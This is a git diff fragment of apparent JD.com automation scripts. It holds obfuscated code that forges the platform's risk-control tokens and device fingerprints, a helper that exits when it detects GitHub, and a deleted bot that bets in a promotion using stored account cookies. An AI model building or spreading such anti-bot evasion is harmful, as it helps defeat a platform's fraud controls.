_0x309d6d[_0x511e('2c3')](_0x5d7247,_0x544450);},'NkvPz':function(_0x2c2d55,_0x11ed6c){return _0x309d6d[_0x511e('2c4')](_0x2c2d55,_0x11ed6c);},'hqLeC':function(_0x259395,_0x7ae9ad){return _0x309d6d[_0x511e('2c5')](_0x259395,_0x7ae9ad);}};if(_0x309d6d[_0x511e('2c6')](_0x309d6d[_0x511e('2c7')],_0x309d6d[_0x511e('2c8')])){n=_0x1c75d1[_0x511e('2c9')](_0x1c75d1[_0x511e('2ca')](crc,str[_0x511e('81')](i)),0xff);x=_0x1c75d1[_0x511e('2cb')]('0x',table[_0x511e('19e')](_0x1c75d1[_0x511e('2cc')](n,0x9),0x8));crc=_0x1c75d1[_0x511e('2ca')](_0x1c75d1[_0x511e('2cd')](crc,0x8),x);}else{let _0xf08d97={'hostname':_0x309d6d[_0x511e('2ce')],'port':0x1bb,'path':_0x309d6d[_0x511e('2cf')],'method':_0x309d6d[_0x511e('2d0')],'rejectUnauthorized':![],'headers':{'Content-Type':_0x309d6d[_0x511e('2d1')],'Host':_0x309d6d[_0x511e('2ce')],'Origin':_0x309d6d[_0x511e('2d2')],'X-Requested-With':_0x309d6d[_0x511e('2d3')],'Referer':_0x309d6d[_0x511e('2d4')],'User-Agent':UA}};const _0x5da5e0=_0x40b558[_0x511e('2d5')](_0xf08d97,_0x2da009=>{_0x2da009[_0x511e('2d6')](_0x309d6d[_0x511e('2d7')]);let _0x271c46='';_0x2da009['on'](_0x309d6d[_0x511e('2d8')],_0x1b2690);_0x2da009['on'](_0x309d6d[_0x511e('2d9')],_0xd05c80=>_0x271c46+=_0xd05c80);_0x2da009['on'](_0x309d6d[_0x511e('2da')],()=>_0x107777(_0x271c46));});_0x5da5e0[_0x511e('2db')](_0xda22b7);_0x5da5e0['on'](_0x309d6d[_0x511e('2d8')],_0x1b2690);_0x5da5e0[_0x511e('2b3')]();}});},'getTouchSession':function(){var _0x550ac4={'TWhYf':function(_0x39ac75,_0x4d88aa){return _0x39ac75+_0x4d88aa;},'zMbcz':function(_0x492fbb,_0x3969f5){return _0x492fbb(_0x3969f5);}};var _0x52e710=new Date()[_0x511e('1b6')](),_0x2e3364=this[_0x511e('2dc')](0x3e8,0x270f);return _0x550ac4[_0x511e('2dd')](_0x550ac4[_0x511e('2de')](String,_0x52e710),_0x550ac4[_0x511e('2de')](String,_0x2e3364));},'get_blog':function(_0x216786){var _0x24e5de={'ILGYc':function(_0xcba1b4,_0x28c482){return _0xcba1b4(_0x28c482);},'PkBRX':function(_0x47da60,_0xf86995){return _0x47da60<_0xf86995;},'ecobt':function(_0x14718c,_0x124b1e){return _0x14718c===_0x124b1e;},'JznzK':_0x511e('1fa'),'BdAWs':function(_0x6c4ae6,_0x591103){return _0x6c4ae6!==_0x591103;},'qosHK':_0x511e('2df'),'NIIsl':_0x511e('2e0'),'cUTPH':function(_0x271d5f,_0x9aaa0c){return _0x271d5f^_0x9aaa0c;},'ukYFm':function(_0x5b7574,_0x4d971a){return _0x5b7574%_0x4d971a;},'FzFfZ':function(_0x4cc699,_0xc72c5e){return _0x4cc699&_0xc72c5e;},'hIdfZ':function(_0x3b310d,_0x138753){return _0x3b310d!==_0x138753;},'hZfLR':function(_0xaa5346,_0x528e3d){return _0xaa5346-_0x528e3d;},'BgTlY':_0x511e('2e1'),'MyyhD':_0x511e('2e2'),'SDKGN':function(_0x3940d3,_0x2d5a44){return _0x3940d3+_0x2d5a44;},'bEeTl':function(_0x2a5128,_0x11021d){return _0x2a5128-_0x11021d;},'IqrVU':function(_0x3dbfc9,_0x9cebdd){return _0x3dbfc9<_0x9cebdd;},'dxCQE':_0x511e('2e3'),'kimHh':function(_0x5d2089,_0x1a3a01){return _0x5d2089%_0x1a3a01;},'lPEXD':_0x511e('2e4'),'aLBTz':function(_0x5a5692,_0x1dad9d){return _0x5a5692<_0x1dad9d;},'EMjoG':function(_0x28010a,_0x5350ee){return _0x28010a^_0x5350ee;},'EmkvN':function(_0x32dda4,_0x32cf07){return _0x32dda4%_0x32cf07;},'vwlKB':_0x511e('2e5'),'RRCQI':function(_0x5c943c,_0x4ff91f){return _0x5c943c%_0x4ff91f;},'CrzEp':function(_0x3c2216,_0x2c578a){return _0x3c2216*_0x2c578a;},'bujFf':_0x511e('2e6'),'ZhQOd':_0x511e('2e7'),'JEXGu':function(_0x23c4bc,_0x5ce709){return _0x23c4bc-_0x5ce709;},'ZyoTv':function(_0x28fa6f,_0x322a9b){return _0x28fa6f(_0x322a9b);},'FhMnf':_0x511e('2e8'),'INTcM':function(_0x3a7549,_0x515923){return _0x3a7549+_0x515923;}};let _0x2c76f5={'z':function(_0x42561c,_0x464556){if(_0x24e5de[_0x511e('2e9')](_0x24e5de[_0x511e('2ea')],_0x24e5de[_0x511e('2ea')])){var _0x1501f0=t[_0x511e('c2')](0x0,0x5),_0x343b44=_0x24e5de[_0x511e('2eb')](String,n)[_0x511e('c2')](-0x5);return r[_0x511e('242')](_0x1501f0,_0x343b44);}else{var _0x2909bd='';for(var _0x39df82=0x0;_0x24e5de[_0x511e('2ec')](_0x39df82,_0x42561c[_0x511e('9')]);_0x39df82++){if(_0x24e5de[_0x511e('2ed')](_0x24e5de[_0x511e('2ee')],_0x24e5de[_0x511e('2ee')])){_0x2909bd+=_0x24e5de[_0x511e('2ef')](_0x42561c[_0x511e('81')](_0x39df82),_0x464556[_0x511e('81')](_0x24e5de[_0x511e('2f0')](_0x39df82,_0x464556[_0x511e('9')])))[_0x511e('c0')]('16');}else{for(var _0xd383f3=[],_0x4e5169=0x0;_0x24e5de[_0x511e('2ec')](_0x4e5169,i[_0x511e('9')]);_0x4e5169++){var _0x5e6f19=i[_0x4e5169];if(_0x24e5de[_0x511e('2ed')](_0x24e5de[_0x511e('2f1')],Object[_0x511e('bf')][_0x511e('c0')][_0x511e('c1')](_0x5e6f19))){var _0xf1e0bb=e[_0x511e('1d4')](_0x5e6f19);_0xd383f3[_0x4e5169]=_0xf1e0bb;}else _0xd383f3[_0x4e5169]=_0x5e6f19;}n[t]=_0xd383f3;}}return _0x2909bd;}},'y':function(_0x3a6e14,_0x146d79){var _0x3b04a4='';for(var _0x54a273=0x0;_0x24e5de[_0x511e('2ec')](_0x54a273,_0x3a6e14[_0x511e('9')]);_0x54a273++){_0x3b04a4+=_0x24e5de[_0x511e('2f2')](_0x3a6e14[_0x511e('81')](_0x54a273),_0x146d79[_0x511e('81')](_0x24e5de[_0x511e('2f0')](_0x54a273,_0x146d79[_0x511e('9')])))[_0x511e('c0')]('16');}return _0x3b04a4;},'x':function(_0x8731ff,_0x877090){var _0x5091dc={'mwAOn':function(_0x3a842f,_0x51ae9b){return _0x24e5de[_0x511e('2f3')](_0x3a842f,_0x51ae9b);},'pcOnn':function(_0x13c4b3,_0x20fbe9){return _0x24e5de[_0x511e('2ec')](_0x13c4b3,_0x20fbe9);},'qocbu':function(_0x3887bc,_0xd38ac){return _0x24e5de[_0x511e('2f4')](_0x3887bc,_0xd38ac);}};if(_0x24e5de[_0x511e('2ed')](_0x24e5de[_0x511e('2f5')],_0x24e5de[_0x511e('2f6')])){var _0x21f12a=e[_0x511e('9')],_0x59f773=t[_0x511e('9')],_0x3e2ade=Math[_0x511e('1d7')](_0x21f12a,_0x59f773),_0x427c0f=this[_0x511e('1d8')](e),_0x106dd8=this[_0x511e('1d8')](t),_0x54b22e='',_0x28e8a5=0x0;for(_0x5091dc[_0x511e('2f7')](_0x21f12a,_0x59f773)&&(_0x427c0f=this[_0x511e('1da')](_0x427c0f,_0x3e2ade),_0x106dd8=this[_0x511e('1da')](_0x106dd8,_0x3e2ade));_0x5091dc[_0x511e('2f8')](_0x28e8a5,_0x3e2ade);)_0x54b22e+=Math[_0x511e('1b4')](_0x5091dc[_0x511e('2f9')](_0x427c0f[_0x28e8a5],_0x106dd8[_0x28e8a5])),_0x28e8a5++;return _0x54b22e;}else{_0x8731ff=_0x24e5de[_0x511e('2fa')](_0x8731ff[_0x511e('188')](0x1),_0x8731ff[_0x511e('188')](0x0,0x1));_0x877090=_0x24e5de[_0x511e('2fa')](_0x877090[_0x511e('188')](_0x24e5de[_0x511e('2f4')](_0x877090[_0x511e('9')],0x1)),_0x877090[_0x511e('188')](0x0,_0x24e5de[_0x511e('2fb')](_0x877090[_0x511e('9')],0x1)));var _0x16095c='';for(var _0x274ea3=0x0;_0x24e5de[_0x511e('2fc')](_0x274ea3,_0x8731ff[_0x511e('9')]);_0x274ea3++){if(_0x24e5de[_0x511e('2f3')](_0x24e5de[_0x511e('2fd')],_0x24e5de[_0x511e('2fd')])){return this[_0x511e('1b5')]()[_0x511e('1b6')]();}else{_0x16095c+=_0x24e5de[_0x511e('2ef')](_0x8731ff[_0x511e('81')](_0x274ea3),_0x877090[_0x511e('81')](_0x24e5de[_0x511e('2fe')](_0x274ea3,_0x877090[_0x511e('9')])))[_0x511e('c0')]('16');}}return _0x16095c;}},'jiami':function(_0x8c3820,_0x51d9b1){if(_0x24e5de[_0x511e('2f3')](_0x24e5de[_0x511e('2ff')],_0x24e5de[_0x511e('2ff')])){return r[_0x511e('198')](t,n);}else{var _0x405a5a='';for(vi=0x0;_0x24e5de[_0x511e('300')](vi,_0x8c3820[_0x511e('9')]);vi++){_0x405a5a+=String[_0x511e('75')](_0x24e5de[_0x511e('301')](_0x8c3820[_0x511e('81')](vi),_0x51d9b1[_0x511e('81')](_0x24e5de[_0x511e('302')](vi,_0x51d9b1[_0x511e('9')]))));}return new Buffer[(_0x511e('bb'))](_0x405a5a)[_0x511e('c0')](_0x24e5de[_0x511e('303')]);}}};const _0x380ad4=['x','y','z'];var _0x4a5363=_0x380ad4[_0x24e5de[_0x511e('304')](Math[_0x511e('7')](_0x24e5de[_0x511e('305')](Math[_0x511e('8')](),0x5f5e100)),_0x380ad4[_0x511e('9')])];var _0x535df4=this[_0x511e('25d')]();var _0x7f3481=this[_0x511e('306')](0xa);var _0x1eb69b='B';refer=_0x24e5de[_0x511e('307')];_0x4a5363='x';var _0x53f0ca={'r':refer,'a':'','c':'a','v':_0x24e5de[_0x511e('308')],'t':_0x535df4[_0x511e('c0')]()[_0x511e('188')](_0x24e5de[_0x511e('309')](_0x535df4[_0x511e('c0')]()[_0x511e('9')],0x4))};var _0x13c4f4=_0x24e5de[_0x511e('30a')](md5,_0x216786);var _0x3ee399=_0x2c76f5[_0x4a5363](_0x535df4[_0x511e('c0')](),_0x7f3481);var _0x27a62b=_0x2c76f5[_0x24e5de[_0x511e('30b')]](JSON[_0x511e('219')](_0x53f0ca),_0x3ee399);return _0x535df4+'~1'+_0x24e5de[_0x511e('30c')](_0x7f3481,_0x13c4f4)+'~'+_0x4a5363+_0x511e('30d')+_0x1eb69b+'~'+_0x27a62b+'~'+this[_0x511e('30e')](_0x27a62b);},'get_risk_result':async function(_0xf2c71f,_0x5086bd,_0x4a7659){var _0x506d74={'QzLEI':_0x511e('30f'),'kgiQV':function(_0x281634,_0x16e0b7){return _0x281634+_0x16e0b7;},'WSyJd':function(_0x5e73ca,_0xc728bb){return _0x5e73ca+_0xc728bb;},'sWtBH':function(_0x50de52,_0x26ea08){return _0x50de52+_0x26ea08;},'oLLsV':function(_0x55dfc5,_0x230cd3){return _0x55dfc5+_0x230cd3;},'SBhfs':_0x511e('2e5'),'hyQaD':function(_0x21bead,_0x3c559b){return _0x21bead>_0x3c559b;},'lxxkI':_0x511e('310'),'eGKSO':_0x511e('311'),'PPPIi':_0x511e('262'),'flQIp':_0x511e('312'),'huWkh':_0x511e('313'),'rrBnO':function(_0x924292,_0x438b04){return _0x924292+_0x438b04;},'Eqlaz':function(_0x1b3e06,_0x49a48f){return _0x1b3e06%_0x49a48f;},'aTfjj':function(_0x301de1,_0x5da7f1){return _0x301de1*_0x5da7f1;},'MeXAl':function(_0x305236,_0x46f3b3){return _0x305236(_0x46f3b3);},'QhLuv':_0x511e('314'),'qGQGu':_0x511e('315'),'jVXSz':_0x511e('316'),'jwKPk':_0x511e('317'),'xuWbU':_0x511e('318')};var _0x310000=_0x506d74[_0x511e('319')][_0x511e('29')]('|'),_0x4feb2b=0x0;while(!![]){switch(_0x310000[_0x4feb2b++]){case'0':var _0x8869=this[_0x511e('25d')]();continue;case'1':return{'log':_0x218513[_0x511e('191')]('~'),'joyytoken':_0x511e('31a')+_0x506d74[_0x511e('31b')](_0x5086bd,$[_0x511e('310')])+';'};case'2':var _0x5d7cc0=this[_0x511e('306')](0xa);continue;case'3':var _0x218513=[_0x8869,_0x506d74[_0x511e('31c')](_0x506d74[_0x511e('31d')]('1',_0x5d7cc0),$[_0x511e('310')]),_0x506d74[_0x511e('31e')](_0x506d74[_0x511e('31e')](_0x5a979a[0x2],','),_0x5a979a[0x3])];continue;case'4':_0x218513[_0x511e('190')](_0x555f6a);continue;case'5':var _0x5d6bad=this[_0x511e('31f')](_0x5a979a[0x2],_0x5d7cc0,_0x8869)[_0x511e('c0')]();continue;case'6':_0x555f6a=this[_0x511e('320')](_0x555f6a);continue;case'7':_0x8666dd=new Buffer[(_0x511e('bb'))](this[_0x511e('268')](JSON[_0x511e('219')](_0x8666dd),_0x5d6bad))[_0x511e('c0')](_0x506d74[_0x511e('321')]);continue;case'8':_0x218513[_0x511e('190')](_0x8666dd);continue;case'9':_0x218513[_0x511e('190')](this[_0x511e('30e')](_0x8666dd));continue;case'10':joyytoken_count++;continue;case'11':if(!$[_0x511e('310')]||_0x506d74[_0x511e('322')](joyytoken_count,0x12)){$[_0x511e('310')]=JSON[_0x511e('323')](await this[_0x511e('324')](_0x511e('325')))[_0x506d74[_0x511e('326')]];console[_0x511e('327')](_0x506d74[_0x511e('328')]);joyytoken_count=0x0;}continue;case'12':var _0x555f6a=_0x1138a3+_0x511e('329')+$[_0x511e('310')]+_0x511e('32a')+_0x8869+_0x511e('32b')+_0x5d7cc0+_0x511e('32c')+_0x5d6bad+_0x511e('32d');continue;case'13':var _0x1138a3=this[_0x511e('32e')](this[_0x511e('1d4')](_0xf2c71f[_0x511e('2b2')]));continue;case'14':var _0x5257a3=this[_0x511e('32f')]();continue;case'15':var _0x5a979a=this[_0x511e('330')](_0x506d74[_0x511e('31e')](_0x5086bd,$[_0x511e('310')]),_0x5086bd)[_0x506d74[_0x511e('331')]][_0x511e('29')](',');continue;case'16':var _0x8666dd={'tm':[],'tnm':[],'grn':joyytoken_count,'ss':_0x5257a3,'wed':_0x506d74[_0x511e('332')],'wea':_0x506d74[_0x511e('333')],'pdn':[0xd,_0x506d74[_0x511e('334')](_0x506d74[_0x511e('335')](Math[_0x511e('7')](_0x506d74[_0x511e('336')](Math[_0x511e('8')](),0x5f5e100)),0xb4),0x1),0x5,0x7,0x1,0x5],'jj':0x1,'cs':_0x506d74[_0x511e('337')](hexMD5,_0x506d74[_0x511e('338')]),'np':_0x506d74[_0x511e('339')],'t':_0x8869,'jk':'a','fpb':'','nv':_0x506d74[_0x511e('33a')],'nav':'f','scr':[0x332,0x189],'ro':['f','f','f','f','f',uuid,'1'],'ioa':_0x506d74[_0x511e('33b')],'aj':'u','ci':_0x506d74[_0x511e('33c')],'cf_v':'01','bd':_0x1138a3,'mj':[0x1,0x0,0x0],'blog':this[_0x511e('33d')](_0x4a7659),'msg':''};continue;case'17':_0x218513[_0x511e('190')]('C');continue;case'18':_0x218513[_0x511e('190')](this[_0x511e('30e')](_0x555f6a));continue;}break;}}};;_0xodF='jsjiami.com.v6'; -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_summer_movement_bet.js b/backUp/jd_summer_movement_bet.js deleted file mode 100644 index 7adceb9..0000000 --- a/backUp/jd_summer_movement_bet.js +++ /dev/null @@ -1,282 +0,0 @@ -/* - -cron 11 12,20 * * * jd_summer_movement_bet.js - -*/ -const $ = new Env('燃动夏季下注'); -//环境变量是否下满注,false否,true是,(满注20次,前提:需要已经开过会员卡,若未开同会员,则只能下3注) -const maxBet = $.isNode() ? (process.env.MAX_BET ? process.env.MAX_BET : false):false; -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const UA = `jdpingou;iPhone;10.0.6;${Math.ceil(Math.random()*2+12)}.${Math.ceil(Math.random()*4)};${randomString(40)};`; -$.inviteList = []; -let uuid = 8888; -let cookiesArr = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - console.log(`注意:每个奖品会花费200币下注,不想下注的人不要跑这个脚本`); - console.log(`脚本默认下7注,若需要花费金币下满20注,则修改环境变量“MAX_BET”为true`); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - $.cookie = cookiesArr[i]; - uuid = getUUID(); - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.isLogin = true; - $.nickName = $.UserName; - await TotalBean(); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - try { - await main(); - }catch (e) { - console.log(JSON.stringify(e)); - console.log(JSON.stringify(e.message)); - } - } - } -})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}) - - -async function main(){ - $.homeData = {}; - $.taskList = []; - await takePostRequest('olympicgames_home'); - $.userInfo =$.homeData.result.userActBaseInfo - console.log(`\n待兑换金额:${Number($.userInfo.poolMoney)} 当前等级:${$.userInfo.medalLevel} \n`); - await $.wait(1000); - bubbleInfos = $.homeData.result.bubbleInfos; - $.continueRun = true; - $.betGoodsList = $.homeData.result.pawnshopInfo.betGoodsList; - for (let i = 0; i < $.betGoodsList.length; i++) { - $.oneGoodsInfo = $.betGoodsList[i]; - $.continueRun = true; - if($.oneGoodsInfo.status === 1){ - console.log(`\n奖品:${$.oneGoodsInfo.skuName},去开奖`); - await takePostRequest('olympicgames_pawnshopRewardPop'); - await $.wait(2000); - continue; - }else if($.oneGoodsInfo.status === 3){ - console.log(`\n奖品:${$.oneGoodsInfo.skuName},已开奖`); - continue; - } - while (($.oneGoodsInfo.score < 7 || (maxBet && $.oneGoodsInfo.score < 20)) && $.continueRun){ - await takePostRequest('olympicgames_pawnshopBetPop'); - await $.wait(1000); - console.log(`\n奖品:${$.oneGoodsInfo.skuName},${$.betInfo.betText},去下注`); - await takePostRequest('olympicgames_pawnshopBet'); - await $.wait(2000); - } - } - await $.wait(2000); - await takePostRequest('olympicgames_pawnshopBetRecord'); -} - -async function takePostRequest(type) { - let body = ``; - let myRequest = ``; - switch (type) { - case 'olympicgames_home': - body = `functionId=olympicgames_home&body={}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=o2_act`; - myRequest = await getPostRequest(body); - break; - case 'olympicgames_pawnshopBet': - body = `functionId=olympicgames_pawnshopBet&body={"skuId":${$.oneGoodsInfo.skuId}}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=o2_act`; - myRequest = await getPostRequest( body); - break; - case 'olympicgames_pawnshopBetPop': - body = `functionId=olympicgames_pawnshopBetPop&body={"skuId":${$.oneGoodsInfo.skuId}}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=o2_act`; - myRequest = await getPostRequest( body); - break; - case 'olympicgames_pawnshopRewardPop': - body = `functionId=olympicgames_pawnshopRewardPop&body={"skuId":${$.oneGoodsInfo.skuId}}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=o2_act`; - myRequest = await getPostRequest( body); - break; - case 'olympicgames_pawnshopBetRecord': - body = `functionId=olympicgames_pawnshopBetRecord&body={}&client=wh5&clientVersion=1.0.0&uuid=&uuid=${uuid}&appid=o2_act`; - myRequest = await getPostRequest( body); - break; - default: - console.log(`错误${type}`); - } - myRequest['url'] = `https://api.m.jd.com/client.action?advId=${type}`; - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - //console.log(data); - dealReturn(type, data); - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function dealReturn(type, data) { - try { - data = JSON.parse(data); - } catch (e) { - console.log(`返回异常:${data}`); - return; - } - switch (type) { - case 'olympicgames_home': - if (data.code === 0) { - if (data.data['bizCode'] === 0) { - $.homeData = data.data; - } - } - break; - case 'olympicgames_pawnshopBet': - if (data.code === 0 && data.data && data.data.result) { - console.log(`下注成功,已下注${data.data.result.score}次`); - $.oneGoodsInfo.score = data.data.result.score; - 